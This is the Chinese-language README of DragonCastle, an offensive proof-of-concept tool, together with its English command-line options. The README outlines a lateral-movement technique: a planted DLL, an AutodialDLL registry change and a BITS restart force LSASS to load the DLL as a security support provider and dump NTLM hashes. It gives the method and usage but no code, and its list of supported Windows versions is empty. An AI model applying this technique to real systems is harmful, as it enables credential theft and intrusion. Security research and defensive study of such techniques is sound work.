一个概念验证（PoC），将 AutodialDLL 横向移动技术与 SSP 相结合，从 LSASS 进程中提取 NTLM 哈希。
将 DLL 上传到目标机器。然后启用远程注册表以修改 AutodialDLL 条目，并启动/重启 BITS 服务。Svchost 进程将加载我们提供的 DLL，将 AutodialDLL 重新设置为默认值，并通过 RPC 请求强制 LSASS 将同一个 DLL 作为安全支持提供程序（SSP）加载。 一旦 LSASS 加载了该 DLL，它会在进程内存中搜索，提取 NTLM 哈希以及密钥/IV。
DLLMain 始终返回 False，因此进程不会保留它。
仅在未启用 RunAsPPL 时才能工作。另外，由于我有点懒，只添加了对 3DES 解密的支持，但添加 AES 代码应该很容易。同样出于这个原因，我只实现了对以下 Windows 版本的支持：

DragonCastle - A credential dumper (@TheXC3LL)
optional arguments:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
valid username
-p PASSWORD, --password PASSWORD
valid password (if omitted, it will be asked unless -no-pass)
-d DOMAIN, --domain DOMAIN
valid domain name
-hashes [LMHASH]:NTHASH
NT/LM hashes (LM hash can be empty)
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
-local-dll dll to plant
DLL location (local) that will be planted on target
-remote-dll dll location
